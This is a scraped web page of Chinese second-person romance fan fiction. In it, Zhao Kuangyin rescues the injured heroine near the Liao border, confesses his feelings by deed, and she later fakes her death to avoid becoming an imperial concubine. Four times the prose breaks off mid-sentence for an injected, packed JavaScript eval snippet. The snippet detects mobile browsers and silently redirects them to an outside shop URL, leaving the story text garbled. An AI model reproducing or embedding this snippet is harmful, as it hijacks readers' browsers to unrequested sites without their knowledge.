此时他的身份是后汉枢密使,掌全国最高军权,兼领邺都留守、天雄军节度使,为河北诸州军政总负责人。 “河北兵甲钱谷,但见郭威文书,立皆禀应”。 公元950年二月初,郭威上表“勒兵北临契丹之境”。 三日后,小皇帝许之。 郭威接旨的那一刻,或许便嗅到了圣旨字里行间隐藏的疑虑和踌躇。 但是他没有犹豫。 幽、蓟、瀛、莫、涿、檀、顺、儒、新、妫、武、蔚、应、寰、朔、云。 燕云十六州。 尽在敌手。 他没有停下的理由。 赵匡胤任郭威帐下踏白将,率精锐轻骑数百为前驱,负责侦敌、哨探、袭扰、断后、清路、剪除敌军游骑。 虽然踏白指挥主攻战术机动,理论上不做全军传令。 但因其麾下全员都是最快的精锐轻骑,平日里游走在大军前后百里范围内,天然兼任急递传令的任务。 踏白指挥使需骑术顶尖、战力卓绝、胆大心细、口齿利落、头脑机敏、随机应变、遇事决断、长于沟通。 郭威手下这样的人并没有几个。 优中择优,便只有赵匡胤了。 对于赵匡胤而言,这实在是一个太合适的位置。 快速的军功积累不说,他在日复一日的奔驰中快速地熟悉了全军指挥体系,广泛结识各营将校,在军中建立了属于自己的庞大人脉网络。 当然—— 赵匡胤初任这个职位时,心中升起由衷的喜悦,绝大部分是因为这个职位太适合找人了。 重整河山迫在眼前不假,可若能兼顾,谁人会不愿意?谁人能不欣喜? 但是最初的欣喜过去,在偌大的天地中找一个不知行踪去向的人,依旧是实打实的艰难。 你到底在何处。 契丹的情况并不容人太乐观。 耶律阮死了,契丹内乱,但这不等于草原变成了一块好啃的骨头,可以任人争抢。 耶律察割一系、耶律璟一系……他们确实在互相撕咬,可一旦有汉军深入草原,他们会立刻停下来,用猩红的眼和呲起的牙对着外来者。 探马陆续带回消息。 最早北撤的辽军已经在龙化州和上京之间重新扎下了大营。 各部的兵马虽然互不统属,但在边境线上留下大量哨位,都藏在河谷和山坳里。 赵匡胤领的那几百踏白轻骑,配属在中军前锋。 他的任务是走在大军最前面,用最快的速度清理掉契丹人的斥候和哨位。 冬天还没有过去,地还没有化冻,马蹄踩在硬土上,沉实短促。 契丹人没有防备。 哨位里的人不多,少则三五个,多则十来个,根本没想到汉军会这么快摸上来。 很快。很简单。不会出任何岔子。 但到第四天,出现了新的状况。 赵匡胤在拒马河以北发现了一处空的哨位。 火堆还有余温,但人不见了。 赵匡胤蹲下看了看地上的马蹄印,印子很深,一路向北。 他派人回报中军,自己带着剩下的人继续往前搜索。 往北追了大约二十里,他们在一片低矮的丘陵上勒住了马。 山丘下面是一条干涸的河床。 河床对面,排着大约两百余骑。 人数不多,但是队形整齐。 不是残部。 打一面蓝底白字的旗,旗上写的是契丹文。 通译说是“萧”字。 应当是辽国萧思温的前哨。 正面作战他有把握获胜,可一旦打起来,萧思温的主力就会知道汉军的准确位置。 赵匡胤写了一封急报,让人快马送回中军。 急报送走之后,赵匡胤回到山丘上继续盯着对面。 天快黑了,河床对岸的那些骑影渐渐融进了暮色里。 下属压着嗓子问了一句,是不是要趁夜摸过去看看。 赵匡胤摇了摇头。 萧思温的人队形很稳,又占着有利地形,哨位换得也勤,现在摸过去是送死。 只能先盯着,今天晚上大概率要空耗在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517976|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里。 派出去的斥候摸黑回来了,带回来一个消息。 在河床往西大约三里,有一片废弃的驻牧点,看着像是新近被辽军征用过,接着就空置了。 斥候在营地里发现了一处很新的、很小的火堆痕迹。 “我来回走了三四遍都没看见!若不是记得指挥使叮嘱,说至少要查五次,我都没发现!藏在半塌的羊圈角落里……天!辽狗现在竟有了这样的脑子!” 他们以往摸哨位,都是白天找烟、夜里找火。 这样的天气,必须要生火取暖做饭,否则活不下去的。 不过听斥候描述,这倒确实不是辽人的行事作风,这么小的火堆,也不符合辽人哨位的需求。 赵匡胤忽然心里一动。 他在脑子里把附近的地形过了一遍,立刻筛选出来可以藏人的大致位置。 他带了几个下属,趁夜色往西摸过去,马蹄裹了布,没人说话。 驻牧点后面是一道矮崖,沟壑里尽是干枯的荆棘。 崖角不起眼处有一条很窄的缝隙,窄到一个人侧身才能挤进去。 穷山恶水。山穷水尽。 赵匡胤方走近几步,一股极锐利的剑意立刻照面而来。 他是这样熟悉你的剑。 曾经为了填补你武学上的缺点,他一点一点把你的剑招都揉碎了拆开了研究。一些对你而言过于刚猛的心法,他也要自己弄明白之后才尝试教你。 侧身险险避开那一剑,他心下已尽是狂喜。 “是我!”他急急开口。 对面果然动作一滞,接着便信任地收了手。 这样全然信赖的姿态。 他往日教你些什么,你也这样,从不起什么疑心,闷头就是学。 你已经看清了他们几人的装束与面容,从暗处走了出来。 黯淡的月光下,第一个照面,赵匡胤立刻弄懂了为什么你刚才那么急着出手—— 明明被发现藏身之处了,最优的选择是试着悄无声息地遁逃开去。 因为你已经不可能逃得开了。 你的腿断了。而且应当是第一次断裂之后强行继续用了腿。 骨伤迟迟无法痊愈,拖到今日,已经恶化得不成样子,挪动都勉强了。 你的脸上脏得不像话,血污和泥迹混在一起。 额角有一道结了痂的口子,看上去是被什么钝器划的,嘴唇上留下了干渴导致的裂口。 但你的眼睛亮亮的,几乎是立刻向他高兴地炫耀道:“赵大哥!我说了我可以的吧!” 声线轻快得异常。 他竟不敢细想你经历了什么,因心下已经酸楚得不成样子,一瞬间简直像坠在云雾中,几乎等为梦境,不知何处生天,要勉力凝神才能强迫自己继续思考。 13. 揭破 顾不上应你的话。他现在也没法说话,喉头哽住了,没法开口。 你高兴,他原本要同旧日一般,因着你的高兴而高兴。可是此时爱怜的情绪迫到心上来,叫他什么都顾不上了。 赵匡胤先蹲下来看你的腿。 “已经处理过了。不碍事。”见他关心这个,你说道,“只是前期拖的时间有些久,恐怕一时半会儿好不了。” 你自己是医者,他当然全然信任你的话,可是又移不开视线。 隔着衣裳看不到伤口。他仔细地望了好几眼,只能看见小腿中段有一处明显的变形,再具体的就看不见了。 “痛吗?”他说的第一句话是废话。怎么会不痛呢。他真不知道该说什么了。 他预想你会说“不痛”或者“还行”,你在这种地方有时是有些爱逞强的,又或者单纯是脸皮有些薄。 没想到看见你闷闷地点了点头,不好意思地笑了一下。 赵匡胤的视线往上挪,迎着那匆匆的笑看向你的脸。 你整张脸都脏兮兮的,唯独眼角干净些,他随即意识到这很可能是因为你曾经哭过。 想到你抱着伤腿,在黑暗中默默流泪,甚至不敢发生一点啜泣的声音,赵匡胤觉得自己要呼吸不过来了。 几乎没有办法再忍受一秒了。 他回头看了一眼跟在身后的几个下属。 能带过来的自然都是信得过的人。他冲其中心最细的那人使了个眼色,那人立刻会意,带着其余几个人退开了十几步,背过身去,在崖角警戒。 只剩你们两个人的时候,赵匡胤才低声开口:“让我看看。” 你愣了一下,大约是没想到他这般直接。 你倒是确实不在意,救人性命的时候可没什么男女大防。他也知道你不在意。 只是他以往不这样的,相熟之人态度忽然变化,你有些不适应。 他以往同你相处总是有些小心翼翼的。手上捧着一个十分喜欢十分珍贵又十分易碎的物品时,人难免不小心翼翼的。 你摆摆手:“真没事,骨头对位还算正,就是……” “就是什么?”他目光沉毅,不错眼地盯着你。 ……你有一种在黑暗中被老虎盯上的错觉。 “就是冻过几天,皮肉有些不太好看。其实不严重的。”你道。 赵匡胤坚持道:“让我看看。” 你实在拗不过他。 往日温和脾气好的人,决断的话从口中说出来,平白要比众人的力道都重些。 于是赵匡胤看见了。 稀薄的月色之下,小腿上青紫沉郁,淤痕蔓延了半只小腿。冻伤的皮肉泛着青灰,表层皮肤干裂起皮,结上暗红的薄痂。 起初仅是骨折,日日强行落地借力,弯折的骨缝反复错位磨动,皮肉就被内里伤症沤坏了。加上冬日天寒地冻,伤腿本就血脉滞涩,再长久暴露在凛冽寒风与寒气之中,冻伤亦紧随而来。 很好推测。很明了。 他年少时做游侠,后来久居军中,见过太多严重到恐怖恶心的伤口,甚至他自己身上也有过许多险些就要致命的伤痕。 但都不如这一刻触目惊心。 赵匡胤觉得自己前所未有的冷静。 “能骑马吗?”他问。 你迟疑了很短的一瞬:“……能。” 骗人。 都伤成这样了,轻轻一碰便牵扯内里断骨抽痛不休,还要当着他的面逞强。 “也不是特别痛。我肯定能忍住的。” 你大约是从他的表情里读出了什么,赶紧补了一句。 赵匡胤静静地看着你,你觉得很不自在,下意识抿了抿唇,牵动了唇瓣裂开的伤口,痛得哆嗦了一下。好在没流血。 他解下一只没开封的水囊递给你:“先喝水。” 你也不客气,接过来拔开塞子,喝了两口,呛了一下,又猛喝了三四口。 太久没有这样大口喝水了,身体的反应骗不了人,你感到舒适和放松。 见你咳嗽,赵匡胤的心微微悬了起来,但你没有把时间浪费在咳嗽上,接着又大口地吞咽了起来。 他看见你的睫毛因吞咽而微微颤动。干裂的嘴唇被水濡湿后,总算有了一点活人的润泽。 又疼又怜的滋味,软软的、酸酸的,从心底漫上来。他此前是不知道自己可以拥有这样的感觉的。 他的武学是刚猛的路子,人也开朗大方、不拘小节,这世界对他而言先天是无比辽阔的。他简直不知道人还能体会到这样细致入微的感觉。 你喝够了,他把水囊接过去,又从腰间摸出干粮来:“吃点东西。” 你没吃几口。 喉咙早就因为持续的低烧肿了起来,粗粝干燥又多盐的羊肉块对你而言像是吞刀子。 起先你尝试小口小口地嚼,但嚼碎了咽下去也还是痛。 赵匡胤见你脸上浮出不适的神情,立刻意识到了是什么情况,道:“张开嘴,让我看看。” 你摇头,就算不需要思考也知道这请求很不对劲,你这次打定主意不要听他的了。 赵匡胤自己也知道这话很不像样,但是如今他没空责备自己,见你摇头,也不坚持,解下氅衣,从背后裹到你身上。 成年男子的体温在寒冬的深夜里存在感太强了,你简直算是被包裹上来的温度烫了一下。 赵匡胤说:“走吧,我让人送你回去……我手上还有些事,若能赶上,就来看你。” 你的脸裹在他的氅衣里,显得很小。你问:“赵大哥,你不同我一起走吗?” 赵匡胤摇摇头:“让大营的军医先看看,稳住伤情,然后立刻你得回邺都。这伤要静养,留在军中诸事不便。” 你听了这话,便将身上的氅衣拆开来,要还给他:“我不冷,况且我马上就到有火的地方去了。你自己留着吧,到快天亮的时候会特别冷的。” 他自然不肯接。 你往他怀里塞,他伸手轻挡,推让之间,你的手肘不小心撞到他胸口,只听到“咯”的一声轻响——有什么东西从他怀里摔落下去,滚在冻硬的地上。 那东西在地上滚了好几圈,停在一处乱石缝隙之间,被石隙卡住了。 你循声望去。 是一个巴掌大的漆盒,黑底朱纹。 盖子跌得打开了,是以你能看见漆盒里面的东西。 一块糕点。缺了一角,有齿痕,是被人咬过一口的。 ……啊。 你愣住了。 你认得那齿痕。你甚至记得那天烈日下真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517977|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切的伤心情绪。 你现在倒是希望自己不认得。 ……他为何留到了现在? 他以什么样的心态将它留到了现在? 这……他、你……为什么? 风从崖间灌过来,吹得那漆盒与石头碰撞,发出极细微的、像叹息一样的声响。 你简直不敢再看,慌忙别过脸去,动作又急,动作弧度又大,牵动了腿上的伤,疼得你闷哼了一声。 “赵大哥,我真的不冷。”你重复道,觉得浑身都有些瑟瑟。 赵匡胤低头看着那氅衣,没有说话。 恰好有乌云蔽月,天地都晦暗下来。 你看不清他的脸。 风大了些,你听见那盒子被吹得重新盖上——盖子一合上,漆盒的体积缩小,石隙卡不住了,便伶仃地坠进乱石之间的黑暗中去。 遥远的一声坠落。 你感到手上的厚重氅衣被他接了过去。 你听见了氅衣被展开的声音。他直起身,重新将它披在了自己肩上。 然后他弯下腰,握住你的肩头,不容分说地将你横抱了起来。 你还没反应过来,整个人已经腾空而起。 他抱你抱得那么轻易,你的体重对他而言简直像在抱羽毛。 其实也就是在抱羽毛,根本不知道该怎么抱,总感觉风一吹就从他手臂之间飞走了。 你被重新裹回了那件氅衣里。同他一起。你们共同处于这寒冷冬夜的一臂温暖之中。 你整个人已经处于宕机状态了,直着上身,呆呆地看着他的方向,倒难得是任人摆布不会反抗的样子。 赵匡胤心想——此时扰乱他魂魄的忐忑不安、心神不宁都停下了——他想,你要讨厌他就讨厌吧。他不改了。这就是他的答案,谁来问他他也只有这个答案。你尽可以给他的答案算全错,但他不改了。 他把你往自己的方向揽了揽,让你可以靠在他肩膀上,不需要再用一点力气、不需要再做任何思考,放心地信任他,就可以在这个寒冷的夜晚安全地回到故国去。 这实在是一个为你量身定做的诱惑陷阱。 “有什么事也以后再说。”他低声许诺,“你不要再想了,等你好了我会和你说清楚。现在你先听我的,就算有错也是我的错。” 不用为自己的想法负责任、不用为自己的决定负责任——他给出的诱惑越来越多、越来越具体了。 说完,赵匡胤把手放在你的肩膀上,轻轻用力,希望你能顺势靠进他怀里,好被他抱着走。 他几乎是推着你做决定。这姿态是准备好了被冠以全责了。 你实在难以抵抗。 不过天下人恐怕都难以抵抗,这不怪你。 有什么事也以后再说吧。 你卸掉了对抗的力气,如他所愿——不,比他希望的还要更好一些——你蜷在他怀里,很轻,全然依赖的模样。 好可怜。好乖。好惹人喜欢。 “睡一会儿吧。”赵匡胤说,“还有很长的路要走。” 你侧枕在他的肩膀上,他的温度自后贴上来,熨在你的脸上。体温好高,好暖和,好舒服。 刚刚你以为那件氅衣已经很暖和了,没想到这样才是真正的暖和。原来刚才只是不冷了。 14. 四顾心茫然 然后你就真的睡着了。 真不是故意的,天知道为什么这么心大。 一开始你还逼自己去思考十分棘手的现状,你不要当一个喜欢逃避的人,但想着想着就睡着了。 ……嗯。 主要是外面确实很冷,周身又很暖和,这种情况最好睡了。 而且赵匡胤骑术很好。一路奔驰,马却行步平稳,几乎没有半分颠簸,伤势没被牵动,一点也不痛,又稍有些摇晃。太好睡了。 你简直睡得不知天昏地暗。 你一向知道赵匡胤是个高大的男子。但知道归知道,今天才切实有了概念。 他单手就能圈住你整个人,还空出一只手去控缰绳。 被他拢在怀里的时候,你觉得自己从没有这么纤细轻盈过。 虽然你觉得谁和他那挺拔如山的身形比都要显得纤细轻盈。 但你依旧要感叹——你们的身形差距竟然这么悬殊吗。 他的臂膀能从身后将你环住还余下许多;胸膛宽阔,你起先枕在他的肩膀上,后面睡着了没用力,慢慢滑到他的胸膛上,迷蒙中只感觉用什么姿势睡都行,反正很宽、很有韧性;他修长的双腿则稳稳托住你的膝弯,卸掉你所有的力道,接管了你对双腿的控制。 你简直算是陷在他怀里。 这么安全、这么暖和、这么舒服。于是就安安静静地在他怀里睡着了。 甜美的睡意压制了一切思绪,你来不及思考什么、来不及顾虑什么。世界的一切法则都在温暖的外面,你现在要蜷在温暖里好好睡一觉。 你什么都不用想。你好困好累,你可以睡一觉。他早这么许诺了的。 当然,世界是守恒的,你不需要想,因为有人已经帮你想得十分周全了。 赵匡胤最后还是决定自己护着你来走这一趟。 都到这个地步了,不知道什么样的结局等着他,能见一面是一面吧。 更何况确实也舍不得放下来。 他连夜回到护圣军中,直奔军医营而去。 朔风凛冽,几名军士正拢着冬衣在大营外值守,忽听得一阵急促沉稳的马蹄声由远及近。 几人心头一凛,同时抬头,见是踏白将连夜亲自前来,以为是送了什么了不得的急报回来,皆是神色一肃。 那奔马踏至营前,立时停驻。赵匡胤急急丢下一句“我要去军医营”,脸色不算太好。 他马上似乎还有个人。 裹得严严实实,想必是重伤的战友,不能见风。 几人与赵匡胤很有些交情,并不强行要检查,立刻便放了行,因这事也算寻常,甚至讨论都没讨论一句。 等到了军医营,几位医士与你相熟,但他仍见缝插针说了一句:“……事关重大,事急从权,请诸位千万不要将此事外传。” 除了为你的安全着想,也为了你的声望着想。他不希望任何人知道你的行踪,有对你不利的可能,也不希望任何人有任何借口传出你不喜欢听到的话。 郭威先生已经睡下了,郭荣得了消息,重新披衣赶来,听了医士们的话,也得出了和赵匡胤一样的结论:“得送回邺都,不能在军中耽误。” 你被医士们唤醒,重新包扎了伤腿,熬好的药端上来,你喝完之后又昏昏沉沉的,想是有安神的成分。 迷蒙中你看见赵匡胤在人群中,他似乎要离开了。 对哦,他说过他身上还有事,原本他都不应该送你回来的。 你下意识向他伸出手,想叫他赵大哥,然后又忽然回忆起此前的事情——他显然并不只想当你大哥——于是手保持着刚刚抬起的姿势僵住了。 他很是愣了一下,接着像是没读懂你的动作一般,走到你身边,低声道:“别怕,我会送你去邺都的。” ……你是这个意思吗! 完全是他自己想吧! 你迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517978|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速收回目光,当着众人的面也不好反驳他,低着头,“嗯”了一句。 药的作用很快就上来了,你不知什么时候失去了意识,再睁开眼的时候就已经在邺都了。 伤口已经重新处理过了,身上也被擦洗干净了,换了暖和的衣服,床很软,房间很干净,院子另一端的厨房传来了炖排骨的浓香。 你稍微能理解一点郭荣了。 赵匡胤这种做事的能力和态度,很难不把他当心腹培养。 想到这个名字,你真心实意地叹了口气。 不是……到底为什么啊…… 他到底什么时候…… 待会儿又要怎么面对他才好…… 你把头蒙在被子里,只觉得前路茫茫,然后又叹了一口气。 不过你倒是白担心了。 因为赵匡胤已经走了。 韩姐姐告诉你的。 她与韩大哥新婚,老家在汴梁,现下身边又没有孩子,便自告奋勇来照顾你。 “他把你送到邺都,就停了一刻钟吧,和医士交代了些话,就又急匆匆地走了,说是身上还有其他事。”韩姐姐说。 你估了估两地的距离,心想他这么没日没夜地奔驰,几十个钟头不休息,也太苛待自己的身体了。 ……也就是仗着年轻胡来。 不过你这种事也干得不少,天天熬夜不也是仗着年轻胡来吗,你也没资格说他。 不需要立刻去面对他,你第一反应是松了口气。 可是等又睡了十几个钟头,把之前缺的觉全补回来了之后,你就发现——还不如一口气解决了呢。 现在这件事时时刻刻缠着你! 你伤的是腿,天天拘在房里,本来就无聊,一无聊这事就往你眼前扑。 可恶!! 你现在静静地坐着都会忽然叹口气。 大概是到邺都的第十天,韩姐姐发现了你的不对劲。 15. 秘密 韩姐姐的原话是—— “你是不是有什么秘密瞒着我?” 你一个激灵,猛摇头。 韩姐姐忧郁地看着你。 你很快败给了邺都第一忧郁,迟疑地开口:“其实、嗯、就是……” 韩姐姐问:“你是不是喜欢上谁了?” 你:“啊……?哦哦哦对的对的!” 反正她别往赵匡胤的方向猜就好了。 韩姐姐忧郁道:“那个人心中没你……不然你不会整天唉声叹气的。” 你:“是的是的,就是这样。” 韩姐姐更忧郁了,她忧郁地牵着你的手,说:“……不如怜取眼前人。” 什么意思。 她这话是什么意思。 你身边除了赵匡胤难道还有第二个单身男嘉宾吗? 好像是没有的。 这个年代这个年龄大家动作快点的都丧偶二婚了。 ……完了。 她难道早就知道?! 那还有多少人早就知道! 你绝望地从韩姐姐那里得知——该知道的都知道了。 因为实在是很明显啊。韩姐姐说。 哪里明显了啊! 韩姐姐说,你没有觉得赵大哥对你很好吗? 你说,什么!这不是因为他人很好吗! 韩姐姐说你看看他给你惯的。这种狼心狗肺的话都说得出来。 终于能光明正大地讨论这桩惊天八卦,韩姐姐都顾不上忧郁人设了,什么词都往外乱飞。 她说,有时候感觉他想把你嚼一嚼就咽下去,你明白吧,但实际上做的只是含在嘴里,舔都不敢舔,怕化了。 我是活人!这是什么比喻! 你觉得浑身的气血都往脸上涌。 她说,反正惯女儿也没有这么惯的,你家里的扫把你都不知道在哪。 哪有那么夸张!虽然确实自己扫地的情况很少,但你肯定知道放在哪啦! 韩姐姐看起来很想立刻召集所有姐妹,在明确你必须旁听的情况下,召开《关于结义兄弟中长兄情感倾向的阶段性发现与复盘分析会》。 救命啊。 你很想跑路,但是你的腿对这个想法实行了一票否决权。 韩姐姐苦口婆心地劝你,她说你若是和人两情相悦,她绝对不会开这个口的。可是你现在喜欢上一个不喜欢你的人,你何必要受这份苦呢?你难道真的那么讨厌赵大哥吗? 你说我哪有讨厌他。 难不成你辛苦干了两年,最后旁人得出一个你很讨厌他的结论吗。 那你这两年也太失败了一点。 韩姐姐一拍手,不讨厌就是喜欢呀。你喜欢他,他喜欢你,你们为什么不能在一起呢? 你面红耳赤,嗫嚅着说,哪、哪有这么简单,你……你……反正不是这样! 差点忘记你和韩姐姐那么要好,是因为你们俩如出一辙的说话直接。 韩姐姐还要说话,你往被子里一缩,用被子蒙住自己的头。 她一声叹息,隔着被子,揉了揉你的头。 她说,算了,你自己再想想吧。 你怎么知道自己要想什么! 你不知道! 你知道就好啦! 你难道要想我为什么不和宋太祖在一起! 因为就是不行啊! 他喜欢上你他都ooc了! 你将自己的上半身像摊煎饼一样在床上来回翻面。 不行还是跑路吧。 你想。 你没有跑路。 第二个月,你的腿能下地了,你还是没有跑路。 因为邺都戒严了。 有一伙亡命天涯的匪类混进了邺都,久寻不获。 姐姐们带着孩子都搬进了你家。 像故事里写的一样,这伙匪徒确实不长眼地摸到了你家。 然后就全部被打得鼻青脸肿进牢里蹲着等处斩了。 虽然你的伤还没好全,只能勉强挪动,但顶尖高手就是顶尖高手。 懂不懂摸到敌军大本营把对方皇帝给杀了的含金量。 还有人敢来招惹你,真是眼睛和脚趾长反了。 姐姐们围着你夸你好厉害、好棒,给你端茶递水、把帕子叠好给你擦汗,让你点菜决定今天晚上吃什么。 郭荣来的时候正好撞见这一幕。 他有公事回邺都,顺便来找你一趟。 郭荣神情微妙,你们进屋独处的时候,他用那张冷冷的脸吐槽:“看来娶媳妇都是给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517979|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娶的。” 哈哈哈哈,过奖过奖。 然后他说,他的妻子听说你受伤了,希望你能回汴梁,在郭府养病,她想好好照顾你。 他刚才那句话多少带点私人恩怨。 他的媳妇也未尝不是给你娶的。 你说不了吧,刘娘子马上要生了,她又怀的是双胞胎,我就不去添乱了。 郭荣对你的回答非常满意。 他这个人不因为自己的妻子儿子和妹妹吃醋的时候,还是一个挺正常的领导。 郭领导和你说,陛下听闻了你的事,为你的忠义击节叫好,想纳你为妃。诏书已经在路上了。 什么! 你拍案而起。 郭荣的神色没有一点变化,似乎早就预料到了你的反应。 他说,我的想法是,不如你假死吧。元朗心细,你的消息遮掩得密不透风,现在他们不知道你就在邺都,名义上你还处于重伤失踪状态。等风头过了你再死而复生一下,到时候就说前尘尽忘,反正你素有神女之名。 到这时候,你才逐渐明白赵大哥到底为你未雨绸缪了多少。 他未必预料到了之后你会需要假死——这也不可能预料得到。 他就是理所当然的,遇见什么事都为你多想一些、多谋划一些。 他这样珍爱你。 他好像不是那种普通的喜欢你一下。 他是认真的。 你发愁。 你说,那我怎么和姐姐她们说假死这件事呢? 郭荣说,你不和她们说。 那她们会伤心的! 郭荣说,你不和任何人说。就是要他们伤心,这样才像。城中有眼线。 我才不要这样! 郭荣说,如果你选择进宫当皇妃,我们也尊重你的选择。但是提醒你一下,陛下显然是看中了你的武力。 真去当了皇妃,不知道有多少脏活在等着你。你很快想到了这一点。 你说,那我就是不去。他下诏我就去我岂不是很没有面子。我直接抗旨不就行了吗! 郭荣说,也可以。 他没有说别的,但是你立刻想到你的所有熟人都在后汉手里。 见鬼。 你气鼓鼓地同意了郭荣的计划。 16.偏心事高悬 郭荣的计划是,你现在启程去郭家的别庄上继续养病,然后会有假扮成你仇家的人偷袭你,你配合一下,假死脱身。 郭家报给小皇帝的版本会略去你前往郭家别庄之前的经历,说郭家在辽境找到了你,可惜在送你去别庄的路上,消息走漏,导致重伤的你被仇家杀害。 已经休养了许久的顶尖高手,能被路人轻易杀掉,颇为不可信。 但是重伤拖了好久刚被找到的人,被随便一个无名小卒杀掉,却很合理。 郭荣敛眉喝茶。 编瞎话糊弄人也要真假掺半嘛,不然一点物证、一点逻辑链都没有,很容易被人看出来的。 姐姐们对你要和郭荣走这件事不是太能接受。 韩姐姐甚至私底下一边跺脚一边咬牙,逼问道,你喜欢的就是那个郭荣是不是!他一点也不为你着想!你受伤了要静养,你怎么能这么不考虑自己的身体! 我哪有那么猎奇!谁会喜欢一个有妇之夫啊! 你被冤枉得笑了。 你还是暗示了一下她们事情的真相。 你感觉她们应该都接收到你的暗示了。 哪有郭荣说得那么严重。 这些当上司的就是喜欢吓人。 演一演伤心不就好了嘛。 干嘛要真的伤心啊。 反正封妃的诏书到邺都之前,你就飞快被仇杀,飞快杳无尸骨了。 又一个月,你的腿终于大好了,跑跑跳跳都不成问题。 就是在别庄上被关得难受。 恰巧战事陷入对峙阶段,双方相持不下,郭威先生向你发出邀请,说军中正是用人之际。 你觉得可以考虑,便改易男装,跑到军中去了。 护圣军是郭家的大本营,几乎没有别家的眼线,比邺都这种鱼龙混杂的城池好多了,你能自由许多。 这死皇帝。烦死了。到底谁告诉他奖励一个义士是要把她纳为妃的。脑子有病。 上次私底下给你个小官被你拒绝了,这次直接不和你商量下圣旨。急急急急死他了,这人真有病。 郭威先生见你的时候,你明确表达了如上意见。 当然,不是原话,你和郭威先生没那么熟。 你只是真被关烦了。 你说这小皇帝不是正常人,能不能把他赶走换个皇帝啊。 郭威先生叮嘱你这话不要拿到外面去说。 那倒不会。 毕竟说完你就只剩下把这个小皇帝杀了了事这一条路可走了。 你又不是来这里刷皇帝击杀成就的。 小皇帝没有赏赐也没有奖励,但郭威先生有,而且很多。 你象征性地收了一点,算没拂郭威先生的面子就好,毕竟你又不是为了这个去以身犯险的。 现在你在军中名义上算是郭威先生亲自招揽的幕僚。 他们都知道你的身体不算大好,不能受累,其实一开始并没有给你安排太实际的工作。 但既然顶了这个名,你还是尽力做一些力所能及的事。 正好也能了解一下打仗到底是怎么一回事,军队到底是怎么运转的。 帮忙整理军中名册的时候,你看见了赵匡胤的名字。 等反应过来的时候,你已经盯着那个名字许久了。 ……真的好久没见了。 两个多月了,如果不算上次那匆匆一面,其实快半年没见了。 你现在几乎是避着他的消息走。 你想到他的时候会害怕,但是你觉得好像不是在害怕他,而是在害怕他带来的别的你说不清楚的东西。 你盯着那个名字看,一时间觉得那三个字前所未有的陌生起来。 曾经你认为这个名字是整个时代你唯一熟悉的,现在你熟悉了这个时代,它倒是变成你唯一陌生的东西了。 有人进来了,你慌忙把名册合上,惹得人向你看了一眼。 其实没什么的,看名册是你应当做的,你不应该觉得心虚的。 那人又匆匆地走了,你在心里嘲笑自己的一惊一乍,重新打开名册。 这次你专心多了,埋头理了半个桌子,才终于想起来要起身走走。 起身,抬头,然后看见了赵匡胤。 你现在处在辎重营中的后勤文吏帐中。 辎重营位于中军的侧后,有重兵守护。 文吏帐呈方形,四面设了偏门,门口有甲兵驻守,持戈带弓,验腰牌才能进出。 现在帐内只有你们二人。 他什么时候进来的?他怎么知道你在这儿? 你头脑一片空白。 赵匡胤比上次见面要瘦一些。其实也说不上瘦了多少,只是下颌的轮廓比记忆中更分明一些,腰身和肩膀的线条似乎没什么改变。 “腿好了?”他先开口。 “好了好了。”你连忙走了两步给他看。 他点点头,收回目光,似乎是要掀帘子离开。 “赵、赵大哥。”你听见自己叫了他一声,“……你什么时候来的?” “刚刚。”他道。 他答完之后你才意识到自己问了句废话。你是顶尖的高手,不可能他在旁边盯了你半天你完全没察觉。 你局促地点点头。 忽然,他问:“你来军中多久了?怎么……不来找我?” 声音不大,像是怕吓着你似的,人也立在帐内脊杆旁边没动,就那样看着你。 此时正值午后。 军中浮着一层短暂的安静。 文吏帐堆满了卷宗档案,总让人觉得比别处更安静些。 远处校场上有人在奔马,马蹄踩在土面上,一下一下。帐外的太阳大放光彩,光线从毡帘的缝隙里漏进来,在地上投下斜斜的亮缝。 夏天又要到了。 你躲他的时候没多想,现在被直接问到面前,头脑一片空白,支支吾吾,半天说不出一个字。 最后还是赵匡胤自己接了自己的话。 他道:“我不是要逼你。你不愿也没关系。” 